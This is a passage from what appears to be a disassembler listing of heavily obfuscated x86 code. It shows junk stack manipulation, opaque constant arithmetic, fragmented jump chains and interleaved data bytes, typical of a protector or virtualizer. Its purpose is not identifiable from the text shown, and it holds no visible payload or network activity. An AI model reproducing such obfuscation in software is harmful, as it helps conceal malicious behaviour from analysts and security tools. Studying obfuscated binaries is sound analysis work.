		pop	esi
		push	ecx
		push	esi
		push	ebp
		mov	ebp, 4000h
		mov	esi, ebp
		pop	ebp
		push	esi
		pop	ecx
		pop	esi
		and	eax, ecx
		mov	ecx, [esp+6Ch+var_6C]
		push	edx
		jmp	loc_567361
; ---------------------------------------------------------------------------
		dd 0C380C328h, 84E95861h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566C8B:				; CODE XREF: sub_542C3C+113B4j
		add	eax, 13458DEh
		jmp	loc_565105
; ---------------------------------------------------------------------------

loc_566C95:				; CODE XREF: sub_542C3C+24C38j
		pop	esp

loc_566C96:				; CODE XREF: sub_542C3C+17548j
					; sub_542C3C+22882j
		push	dword ptr [edi+24h]
		push	ecx
		sub	esp, 4
		jmp	loc_565194
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 54241489h, 4C2815Ah,	83000000h, 148704EAh, 24248B24h
		dd 89241C89h, 0F1B7E9E3h, 34FFFFFFh, 2434FF24h,	44EAE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566CD2:				; CODE XREF: sub_542C3C+1FAE4j
		push	esp
		jmp	loc_55AAF1
; ---------------------------------------------------------------------------

loc_566CD8:				; CODE XREF: sub_542C3C+11E3Ej
		mov	[esp+78h+var_78], esi
		push	edi
		mov	edi, 56E446B7h
		jmp	loc_563EE8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFF8FDE9h, 0F4E945FFh, 5CFFFFDBh, 8950D828h, 405E0h
		dd 0EBE90000h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566D07:				; CODE XREF: sub_542C3C+1C1F6j
		and	ebp, 24992D46h
		jmp	loc_55BCE2
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 25A58h, 0FECE87E9h, 240C89FFh, 2035E954h, 0C281FFFFh
		dd 530F7053h, 81240C8Bh, 4C4h, 2BE5600h, 0E9000000h, 0FFFFFC3Ch
; ---------------------------------------------------------------------------

loc_566D40:				; CODE XREF: sub_542C3C+13EFFj
		mov	ebp, 1766065Dh
		jmp	loc_5561E4
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0E9510000h, 0FFFEFA5Bh
; ---------------------------------------------------------------------------

loc_566D58:				; CODE XREF: sub_542C3C+13360j
		mov	ecx, [esp+68h+var_68]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+6Ch+var_6C]
		pop	esp
		push	5DBAh
		mov	[esp+6Ch+var_6C], eax
		jmp	loc_559779
; ---------------------------------------------------------------------------
		db 29h,	0DEh, 0E9h
		dd 0FFFEF28Eh
; ---------------------------------------------------------------------------

loc_566D80:				; CODE XREF: sub_542C3C+13EC0j
		mov	esp, [esp+7Ch+var_7C]
		push	esi
		mov	esi, 6DEC48ECh
		sub	ebx, esi
		push	[esp+80h+var_80]
		pop	esi
		add	esp, 4
		push	esi
		push	22AE4E49h
		pop	esi
		push	ebp
		jmp	loc_5547C8
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 0E924248Bh, 0FFFECC43h, 4F52BD55h, 0D5F71DDDh
		dd 3E5DC581h, 0CD81321Ch, 5F193B3Fh, 8145D5F7h,	2B78D8C5h
		dd 9CC681B7h, 291A4876h, 9CEE81EEh, 5D1A4876h, 16D2B850h
		dd 0E0C175D1h, 8E8C105h, 0FF0015E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566DED:				; CODE XREF: sub_542C3C+2097Ej
		mov	ecx, 1
		jmp	loc_55D8B7
; ---------------------------------------------------------------------------
		db 51h
		dd 0BD337EB9h, 719E94Bh, 0E95AFFFFh, 0FFFF8AC3h, 835FF801h
		dd 48704C0h, 8B595C24h,	1CE92434h, 81FFFF7Ch, 4C2h, 4C28300h
		dd 0FF3502E9h, 0C4815BFFh, 4, 0B053E952h, 0F66FFFFh, 9C2404A3h
		dd 0FEC70BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566E41:				; CODE XREF: sub_542C3C+24976j
		push	ecx
		mov	ecx, 4
		add	esi, 4C6245E9h
		add	esi, ecx
		jmp	loc_55EAF2
; ---------------------------------------------------------------------------

loc_566E54:				; CODE XREF: sub_542C3C+1BDD6j
		shl	edx, 8
		jmp	loc_55B380
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFF4E2h, 240C895Ch, 0BD6F21B9h, 1DEE6855h
		dd 6EE90000h, 2CFFFED0h, 80B1513Eh, 0D01AC180h,	0B75366E9h
		dd 66F9303Ah, 0E9241C8Bh, 0FFFFDA14h, 50241489h, 8851DAB0h
		dd 59EA88C5h, 19E95058h, 5FFFEF7h, 4B008A8h, 4EC81h, 4890000h
		dd 1585D24h, 0C875DE9h,	0C1815C24h, 4, 0E902C183h, 0FFFED260h
		dd 7B9CBD55h, 0C5817400h, 9B1AD03Bh, 15DEA31h, 0D685AD6h
		dd 89000054h, 2B9240Ch,	81000000h, 612843C6h, 22FFE91Dh
		dd 4B8FFFFh, 1000000h, 0EC8358C6h, 0EEFBE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566F02:				; CODE XREF: sub_542C3C+1C15Ej
		xor	eax, ecx
		push	49C7h
		jmp	loc_56017E
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 0DAEDE95Fh, 4235FFFFh, 13016BBh, 565058C6h, 26240481h
		dd 5804276Eh, 276E262Dh, 58C78904h, 0FFF94AE9h,	70D5BAFFh
		dd 31E92ECCh, 89FFFFA1h, 0E953240Ch, 0FFFF90C2h, 0EC835366h
		dd 0FF3EE904h, 6664FFFFh, 0B568028Bh, 8900007Eh, 8B542414h
		dd 89532414h, 0BFA3E9E3h, 0E9C1FFFFh, 0B6E98104h, 51AFA569h
		dd 0FFFA1AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566F79:				; CODE XREF: sub_542C3C+117BFj
		mov	dh, 5Eh
		push	cx
		mov	cl, 0D3h
		xor	dh, cl
		pop	cx
		add	bl, dh
		jmp	loc_56557A
; ---------------------------------------------------------------------------
		dw 0F759h
		dd 3AEEE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566F92:				; CODE XREF: sub_542C3C+1ADEDj
		xor	edi, ebp
		xor	ebp, edi
		xchg	ebp, [esp+4Ch+var_4C]
		push	[esp+4Ch+var_4C]
		jmp	loc_567E85
; ---------------------------------------------------------------------------

loc_566FA1:				; CODE XREF: sub_542C3C+1F5CBj
		add	esp, 4
		push	4696h
		mov	[esp+4Ch+var_4C], edx
		jmp	loc_55CA6F
; ---------------------------------------------------------------------------
		dd 4C481h, 0C4810000h, 4, 491B8D35h, 4EC8328h, 55241C89h
		dd 8A243968h, 0C5815D15h, 60B4408h, 0A9CED81h, 0EB89D87Bh
		dd 0FDBD555Dh, 0E906481Ch, 0FFFF3EDEh
; ---------------------------------------------------------------------------

loc_566FEC:				; CODE XREF: sub_542C3C+19820j
		mov	edx, [esp+76h+var_78+2]
		jmp	loc_56866C
; ---------------------------------------------------------------------------
		dd 8246C81h, 5C7660Ah, 4114BB53h, 5C2933FEh, 0E95B0C24h
		dd 0FFFED9BDh, 8F04F028h, 0BF2C5A66h, 0D0E90704h, 87FFFEE4h
		dd 525C241Ch, 556E51BAh, 0E9D72948h, 0FFFF90C5h, 24048B66h
		dd 8904EC83h, 0F0E92404h, 0FFFFF0h, 532904F0h, 0EF8070B7h
		dd 0FECF8046h, 0C780CFFEh, 5BF80037h, 0FC3305Ah, 5268C0B6h
		dd 8900007Eh, 0EC812434h, 4, 24048F54h,	0FFE24EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56706D:				; CODE XREF: sub_542C3C+15F6Ej
		add	[esp+84h+var_84], 4CC84A55h
		push	[esp+84h+var_84]
		mov	eax, [esp+88h+var_88]
		jmp	loc_5557FA
; ---------------------------------------------------------------------------

loc_56707F:				; CODE XREF: sub_542C3C+24A2Bj
		add	esp, 4

loc_567085:				; CODE XREF: sub_542C3C+1E291j
		sub	esp, 4
		mov	[esp+88h+var_88], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+8Ch+var_88]
		jmp	loc_5621A5
; ---------------------------------------------------------------------------

loc_5670B6:				; CODE XREF: sub_542C3C+23C02j
		mov	ebx, esp
		push	eax
		push	ecx
		mov	ecx, 3CB2273Ch
		mov	eax, ecx
		pop	ecx
		not	eax
		shl	eax, 4
		not	eax
		inc	eax
		xor	eax, 0CB2273D4h
		add	ebx, eax
		pop	eax
		push	esi
		jmp	loc_55AB6E
; ---------------------------------------------------------------------------
		dd 31D6F74Eh, 31F731FEh, 14F757FEh, 0E9E95F24h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5670EB:				; CODE XREF: sub_542C3C+1C0A2j
		mov	ebx, 0FC0AB9AAh
		push	edi
		jmp	loc_567C8E
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 0BE904E8h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567103:				; CODE XREF: sub_542C3C+25C15j
		shl	ecx, 5
		not	ecx
		push	ebx
		mov	ebx, 0CF2052Eh
		inc	ebx
		sub	ebx, 4674AB6h
		push	eax
		mov	eax, 6DA377CCh
		push	145Bh
		mov	[esp+94h+var_94], edx
		mov	edx, 34320C0h
		not	edx
		add	edx, 6CC8908Eh
		or	eax, edx
		jmp	loc_55E84E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 24BC03A4h, 0FF1C49E9h, 0E9660CFFh, 0FFFF2A45h, 58F3B951h
		dd 81514F2Bh, 17BF2404h, 815D48FEh, 0FE17BFEDh,	0CD315948h
		dd 0FF4834E9h, 3C8758FFh, 0CB26E924h, 5152FFFFh, 9C17E968h
		dd 0E9815953h, 56FD6903h, 511CC181h, 0CA890361h, 5A8EE959h
		dd 0E089FFFFh, 0FFCD7DE9h, 28282CFFh, 2C2804E8h, 2434FFDEh
		dd 592434FFh, 0FF9FEAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5671A5:				; CODE XREF: sub_542C3C+1E7F9j
		xor	ebp, 0C892B2ADh
		add	edi, 2B9458B7h
		add	edi, 1D2C151Bh
		jmp	loc_55CFE1
; ---------------------------------------------------------------------------
		dd 0DC12E958h, 0ED83FFFFh, 0E2E95504h, 50FFFEE6h, 0B45EA5B8h
		dd 274A050Dh, 7B0D2ED8h, 0D16B240Ch, 36AC25E8h,	0A82D29A2h
		dd 1298206h, 0C5E958C7h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5671EF:				; CODE XREF: sub_542C3C+1399Dj
		push	dword ptr [edi+eax*4]
		push	[esp+88h+var_88]
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		push	7C57h
		mov	[esp+8Ch+var_8C], esi
		push	esp
		mov	esi, [esp+90h+var_90]
		jmp	loc_56026D
; ---------------------------------------------------------------------------

loc_56720F:				; CODE XREF: sub_542C3C+1A87Aj
		and	esi, ecx
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		shr	esi, 8
		or	esi, 665976D2h
		push	edx
		mov	edx, 7C393ED7h
		push	0
		sub	[esp+58h+var_58], edx
		pop	edx
		sub	edx, 0E393271Ah
		push	edx
		mov	edx, 3AAC1849h
		jmp	loc_5618DF
; ---------------------------------------------------------------------------
		dd 9BE9CD21h, 52FFFF21h, 0C0FEB151h, 0E98003E1h, 50535050h
		dd 0FF0012E9h, 0FAC681FFh, 1306711h, 0E86CE9FEh, 481FFFFh
		dd 424h, 24348B00h, 4C481h, 0C6810000h,	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 3A3725E6h
		jmp	loc_55F0AD
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 7CB40424h, 6C813711h, 6CF80424h, 54011BC6h, 44810424h
		dd 6CF80424h, 44811BC6h, 7CB40424h, 44813711h, 12B90424h
		dd 0E9571365h, 0FFFF811Fh, 70CCD81h, 0ED817AA6h, 933313F8h
		dd 0FFEB48E9h, 3094BBFFh, 0E3C139DFh, 3EBC106h,	9FBE381h
		dd 0E3D13472h, 47AC381h, 0D889258Ch, 900E95Bh, 48F0000h
		dd 19A56824h, 1BE90000h, 66000014h, 0E9240C89h,	0FFFFD69Dh
		dd 16526857h, 555F4D1Ch, 13186BBDh, 32F58170h, 0E9697117h
		dd 0FFFF8414h
; ---------------------------------------------------------------------------

loc_56731C:				; CODE XREF: sub_542C3C+16390j
		add	esp, 4
		push	[esp+0AAh+var_AA]
		pop	edi
		add	esp, 4
		jmp	loc_5648B9
; ---------------------------------------------------------------------------
		dw 0C9B9h
		dd 5715447Ah, 30F5BA52h, 0EC812F90h, 4,	0FFD11AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567345:				; CODE XREF: sub_542C3C+14ED0j
		and	ebp, 1A252EBEh
		xor	ebp, 150F16CEh
		add	ebp, 0B8F6E657h
		sub	esi, ebp
		pop	ebp
		sub	ebx, esi
		jmp	loc_55D5EC
; ---------------------------------------------------------------------------

loc_567361:				; CODE XREF: sub_542C3C+2403Fj
		mov	edx, esp
		jmp	loc_563679
; ---------------------------------------------------------------------------
		dd 87E9555Fh, 56FFFF06h, 290C0EBEh, 77F6815Ah, 576FA867h
		dd 9C68E1BFh, 0B74E97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567386:				; CODE XREF: sub_542C3C+2265Dj
		push	eax
		mov	eax, 0EBD6ACAh
		add	eax, 0F142953Ah
		jmp	loc_55C6A0
; ---------------------------------------------------------------------------

loc_567396:				; CODE XREF: sub_542C3C+1875Ej
		or	edx, 0B496D8Ch
		xor	edx, 29E225D4h
		shr	edx, 1
		jmp	loc_55E2BB
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 51h
		dd 0FF2B07E9h, 24048BFFh, 5204C483h, 503869BAh,	6E1EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5673C2:				; CODE XREF: sub_542C3C+1A409j
		shl	ebp, 7
		jmp	loc_557367
; ---------------------------------------------------------------------------
		dw 5053h
		dd 4F6896B8h, 3F8BE925h, 3C33FFFFh, 243C3124h, 5C243C33h
		dd 68CDE281h, 10E94784h
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5673EB:				; CODE XREF: sub_542C3C+206F4j
		pop	[esp+80h+var_80]
		add	[esp+7Ch+var_7C], 4
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+7Ch+var_7C], ebx
		jmp	loc_55E9F5
; ---------------------------------------------------------------------------
		dw 3468h
		dd 8900001Dh, 9C502414h, 0FF1090E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567419:				; CODE XREF: sub_542C3C+1EA9Ej
		mov	[esp+54h+var_54], ebx
		jmp	loc_5537CA
; ---------------------------------------------------------------------------
		db 0E9h, 26h, 0C1h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567426:				; CODE XREF: sub_542C3C+21B85j
		mov	word ptr [esp+9Ah+var_9C+2], cx
		push	eax
		mov	ah, 4Ch
		jmp	loc_56577A
; ---------------------------------------------------------------------------
		dw 0BDB0h
		dd 0FFB25266h, 5A66D000h, 53528A2Ch, 0FEE26AE9h, 0A4B652FFh
		dd 11F68h, 0CA9CE900h, 148BFFFEh, 4C48124h, 8B000000h
		dd 0C4812404h, 4, 0E92434FFh, 0FFFEDA1Bh, 0A41BE958h, 74FFFFFFh
		dd 0FFE90424h, 0BAFFFFABh, 376F570Bh, 29CBE281h, 0E94272ABh
		dd 0FFFED524h
; ---------------------------------------------------------------------------

loc_56748C:				; CODE XREF: sub_542C3C+12CF1j
		push	esi
		mov	esi, 79446E2Fh
		shr	esi, 3
		jmp	loc_553C80
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815E24h, 4, 0C0A2E9C3h, 2D5AFFFEh, 7FDF0C02h, 205F029h
		dd 5E7FDF0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_55D561
; ---------------------------------------------------------------------------
		dd 4C481h, 0D8000000h, 0FF0C40E9h, 4C683FFh, 0E9243487h
		dd 0FFFFDA98h, 34FFC801h, 240C8B24h, 5104C483h,	0C1815954h
		dd 4, 8904EC83h, 4B82404h, 81000000h, 0AD0E39E9h, 81C10106h
		dd 0AD0E39C1h, 0C875806h, 24248B24h, 0FFBBA9E9h, 81D601FFh
		dd 6E513DEEh, 4CFFE971h, 0E957FFFFh, 0FFFF238Eh, 0E924248Bh
		dd 0FFFF6F5Dh, 7CB9BD55h, 0ED8128EEh, 3222303h,	0A64EC581h
		dd 0E989DA33h, 0FFA326E9h, 60B668FFh, 815D33A2h, 5E2414C2h
		dd 81EA294Dh, 5E2414EAh, 2434FF4Dh, 4C4835Dh, 0FF1EF4E9h
		dd 2434FFFFh, 81243C8Bh, 4C4h, 3BE95700h, 0BEFFFF9Ah, 6D5E1C10h
		dd 348BF789h, 65C9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56758E:				; CODE XREF: sub_542C3C+25A86j
		push	esi
		mov	esi, 3EAA6307h
		jmp	loc_5585DF
; ---------------------------------------------------------------------------

loc_567599:				; CODE XREF: sub_542C3C+151A7j
		mov	[esp+50h+var_50], esp
		add	[esp+50h+var_50], 4
		pop	[esp+50h+var_50]
		add	[esp+4Ch+var_4C], 4
		push	[esp+4Ch+var_4C]
		jmp	loc_55A152
; ---------------------------------------------------------------------------

loc_5675AF:				; CODE XREF: sub_542C3C+17F9Dj
		add	esp, 4
		jmp	loc_566E41
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 5755E289h, 5B1EB4BFh, 4EFC169h, 7898C781h
		dd 0E7C13053h, 34F78104h, 896E92A8h, 0EA015FFDh, 5D2434FFh
		dd 55E18951h, 0FF2B43E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5675E9:				; CODE XREF: sub_542C3C+23F92j
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ecx
		mov	cl, 0E5h
		shl	cl, 3
		push	bx
		mov	bh, 0F7h
		xor	cl, bh
		pop	bx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		jmp	loc_55680C
; ---------------------------------------------------------------------------

loc_567612:				; CODE XREF: sub_542C3C+17A10j
		xor	edi, 8C02CBFBh
		sub	ebp, 2A6874E7h
		sub	ebp, edi
		add	ebp, 2A6874E7h
		pop	edi
		jmp	loc_5603E9
; ---------------------------------------------------------------------------

loc_56762C:				; CODE XREF: sub_542C3C+1462Aj
		xor	edx, 0D8A9DBB5h
		add	ebx, edx
		mov	edx, [esp+8Eh+var_90+2]
		add	esp, 4
		or	ebx, 3A5512AAh
		neg	ebx
		jmp	loc_567814
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 3FBF5700h, 0E96FB15Eh,	0FFFFC660h
; ---------------------------------------------------------------------------

loc_567658:				; CODE XREF: sub_542C3C+12413j
		mov	edi, [esp+94h+var_94]
		add	esp, 4
		sub	[edi+24h], ebp
		mov	ebp, [esp+90h+var_90]
		jmp	loc_56707F
; ---------------------------------------------------------------------------

loc_56766C:				; CODE XREF: sub_542C3C+19445j
		sub	al, 57h
		push	472Eh
		mov	[esp+5Ch+var_5C], edx
		push	ecx
		mov	cl, 89h
		mov	dl, 24h
		xor	dl, cl
		pop	ecx
		add	al, 0A3h
		jmp	loc_554AB9
; ---------------------------------------------------------------------------
		dd offset loc_409167+1
		align 2
		dw 1489h
		dd 4EC8324h, 0BD242C89h, 2, 815DEA89h, 4ECh, 240C8900h
		dd 0FFD6A9E9h, 2C895CFFh, 3730E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5676B2:				; CODE XREF: sub_542C3C+13049j
		push	eax
		jmp	loc_55B888
; ---------------------------------------------------------------------------
		dd 4BB53h, 3EE90000h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5676C3:				; CODE XREF: sub_542C3C+1AD29j
		sub	esi, edx
		pop	edx
		jmp	loc_559940
; ---------------------------------------------------------------------------
		db 0B9h
		dd 187A6BFBh, 0B2E9E9D1h, 8BFFFFC1h, 69E92424h,	68FFFFF8h
		dd 27E5FB3h, 2E7C15Fh, 111BEF81h, 2CE93F7Ch, 2DFFFFDBh
		dd 627B4B46h, 0FEE30DE9h, 4875AFFh, 24248B24h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFF6968h, 0C15EF189h, 0C18102E1h
		dd 0A8EF829Dh, 159CA01h, 6DEA81CAh, 5912F91Dh, 8B241487h
		dd 22E92424h, 54FFFF32h, 8124048Fh, 42404h, 348B0000h
		dd 4C48324h, 4C681h, 0E9550000h, 0FFFF04F6h, 4EC8358h
		dd 54243C89h, 0FF92A4E9h, 241C33FFh, 33241C31h,	248B241Ch
		dd 24048124h, 96B5A3Dh,	4E240481h, 12EBC66h, 2C812404h
		dd 0BC664E24h, 2BA9E92Eh, 2D59FFFFh, 5E550FE5h,	0FF1F84E9h
		dd 242C8BFFh, 5104C483h, 0FFB8DCE9h, 815E54FFh,	4C6h, 64246800h
		dd 2C890000h, 0C4685324h, 8B426B61h, 4E9241Ch, 81FFFFDCh
		dd 4C2h, 4C28100h, 33000000h, 14312414h, 7C2DE924h, 0F088FFFFh
		dd 0EFBAE95Ah, 0C380FFFEh, 8BD828ADh, 0C481241Ch, 4, 22B753h
		dd 0C432E9F8h, 0D5FFFFEh, 30E74CB7h, 0D609E940h, 0D12DFFFFh
		dd 0E92A5F17h, 0FFFF6FD4h, 0E902EFC1h, 574h
; ---------------------------------------------------------------------------

loc_567814:				; CODE XREF: sub_542C3C+24A06j
		not	ebx
		xor	ebx, 507B5A7Bh
		xor	ebx, 24E3468Dh
		xor	[esp+8Ah+var_88+2], ebx
		pop	ebx
		mov	eax, [esp+86h+var_88+2]
		push	eax
		jmp	loc_564628
; ---------------------------------------------------------------------------

loc_567830:				; CODE XREF: sub_542C3C+119C8j
		mov	ecx, esp
		push	1825h
		mov	[esp+88h+var_88], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		jmp	loc_567ED3
; ---------------------------------------------------------------------------

loc_567848:				; CODE XREF: sub_542C3C+1767Fj
		mov	eax, 2B2800EFh
		push	eax
		jmp	loc_555554
; ---------------------------------------------------------------------------

loc_567853:				; CODE XREF: sub_542C3C+120B8j
		mov	esi, edx
		pop	edx
		add	eax, esi
		pop	esi
		xor	eax, [esp+74h+var_74]
		jmp	loc_559858
; ---------------------------------------------------------------------------

loc_567861:				; CODE XREF: sub_542C3C+1F272j
		mov	esi, [esp+60h+var_60]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+64h+var_64]
		jmp	loc_566C95
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 0E95C2414h, 0FFFFDE92h, 885BDC88h, 0C78058E7h
		dd 0BF15E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567896:				; CODE XREF: sub_542C3C+14BBEj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+3Ch+var_3C]
		jmp	loc_554D61
; ---------------------------------------------------------------------------
		db 58h,	31h, 0F9h
		dd 0FF7BEFE9h, 12C281FFh, 0E945444Ah, 0FFFF2018h, 8B2434FFh
		dd 0C4832404h, 0F526804h, 14890000h, 0E95A5424h, 0FFFFF547h
		dd 348BF331h, 4C48324h,	0FEBC6BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5678E1:				; CODE XREF: sub_542C3C+125BCj
		mov	eax, 40704030h
		shl	eax, 8
		not	eax
		jmp	loc_55E952
; ---------------------------------------------------------------------------
		dd 0BE243489h, 4, 2BE9F301h, 68000000h,	18687CCBh, 0BCA685Dh
		dd 4890000h, 0BBE4E924h, 515DFFFFh, 0F347BCB9h,	0CF9E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56791E:				; CODE XREF: sub_542C3C+18C67j
		add	esi, 7E7C1303h
		push	ebp
		jmp	loc_55F876
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 0FF8895E9h, 0A9ED81FFh, 81245A05h,	687332C5h
		dd 0E9E88954h, 0FFFFB6F6h
; ---------------------------------------------------------------------------

loc_567948:				; CODE XREF: sub_542C3C+12E16j
		pop	edi
		pop	[esp+0AEh+var_AE]
		pop	esp
		mov	[esp+0A6h+var_A6], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55948C
; ---------------------------------------------------------------------------
		db 59h,	8Bh, 0Ch
		dd 4C48124h, 0F000000h,	0F7E9C0B6h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56796F:				; CODE XREF: sub_542C3C+1D4D6j
		inc	ebp
		dec	ebp
		jmp	loc_56805D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 83242C8Bh, 0E98104C4h, 7951615h, 0FFF8B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56798D:				; CODE XREF: sub_542C3C+13F74j
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_558387
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5753240Ch, 0C781E789h, 4, 4BD55h, 0EF290000h, 243C875Dh
		dd 5197E95Ch, 8159FFFFh, 79078AEAh, 5AD331C9h, 0C137BE56h
		dd 0F33194D8h, 0FF8B49E9h, 0B3F180FFh, 88C88850h, 0CFE958C6h
		dd 58FFFF50h, 0C102E1C1h, 6804E1h, 29000000h, 8159240Ch
		dd 0A8D9ECF1h, 0A01AE9C1h, 0E953FFFFh, 0FFFF923Ah, 4FB0E955h
		dd 0E95CFFFFh, 0FFFEC32Fh, 0FEBB3FE9h, 52EE01FFh, 473135BAh
		dd 3DC68107h, 0E9716E51h, 0FFFFFAF9h
; ---------------------------------------------------------------------------

loc_567A20:				; CODE XREF: sub_542C3C+1FDA3j
		add	al, 2Bh
		jmp	loc_5562EE
; ---------------------------------------------------------------------------
		db 81h
		dd 1D3151EFh, 0BA525B16h, 2, 0FEC0DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567A39:				; CODE XREF: sub_542C3C+18C47j
		pop	esp

loc_567A3A:				; CODE XREF: sub_542C3C+11E20j
					; sub_542C3C:loc_5552D7j
		push	1CC8h
		mov	[esp+80h+var_80], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+80h+var_80]
		jmp	loc_555255
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481240Ch, 4, 4EC81h, 4CE90000h,	52FFFF3Eh
		dd 0FF15D3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567A75:				; CODE XREF: sub_542C3C+22566j
		push	170511AAh
		pop	edx
		xor	edx, 712A4EA9h
		jmp	loc_55E34A
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 0DA88E388h, 24048B5Bh, 0FEBCA0E9h, 4C483FFh,	0C8B1188h
		dd 0D9F8E924h, 48FFFFEh, 0C3315C24h, 4EC8155h, 54000000h
		dd 8124048Fh, 42404h, 565D0000h, 5A74E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567AC2:				; CODE XREF: sub_542C3C+22AB9j
		sub	ecx, 6F0724CDh
		push	2F3Ah
		mov	[esp+80h+var_80], ebp
		push	71D1h
		mov	[esp+84h+var_84], edi
		push	esi
		mov	esi, 3DA7BB6h
		mov	edi, 704569Fh
		shl	edi, 2
		sub	edi, 46E225AFh
		shl	edi, 1
		inc	edi
		jmp	loc_562003
; ---------------------------------------------------------------------------

loc_567AF4:				; CODE XREF: sub_542C3C+231D4j
		shr	edi, 7
		jmp	loc_555AEB
; ---------------------------------------------------------------------------

loc_567AFC:				; CODE XREF: sub_542C3C+1D863j
		xor	ecx, edx
		pop	edx
		push	esi
		mov	esi, ecx
		mov	ebx, esi
		pop	esi
		pop	ecx
		jmp	loc_565262
; ---------------------------------------------------------------------------
		db 81h
		dd 3B31242Ch, 9AE90D1Eh, 8BFFFFF8h, 0E2E92404h,	68FFFF50h
		dd 4496h, 0E9243C89h, 0FFFF7079h, 24048B66h, 76C568h, 240C8900h
		dd 51535954h, 0FF5579E9h, 242C89FFh, 0BE5CC368h, 2434FF37h
		dd 4C4815Dh, 81000000h,	64BA7E5h, 0D740E93Ah, 0E480FFFFh
		dd 0F2EC805Eh, 5358E708h, 0FF936CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567B6D:				; CODE XREF: sub_542C3C+1D447j
		sub	ebp, 2D1B4B71h
		add	ebp, 5AF36696h
		jmp	loc_559FAF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0F5682404h, 89000019h, 682434h, 8900004Dh, 0B8502424h
		dd 4, 0FF3009E9h, 4C481FFh, 0E9000000h,	0FFFEF58Ch
; ---------------------------------------------------------------------------

loc_567BA8:				; CODE XREF: sub_542C3C+17E7Cj
		pop	esi
		shr	edx, 7
		jmp	loc_560D99
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704C083h, 535C2404h, 101A49BBh, 0E001E961h, 487FFFFh
		dd 0C3815C24h, 1F390EE1h, 43B8EB81h, 0FFE90B52h
		db 0BCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

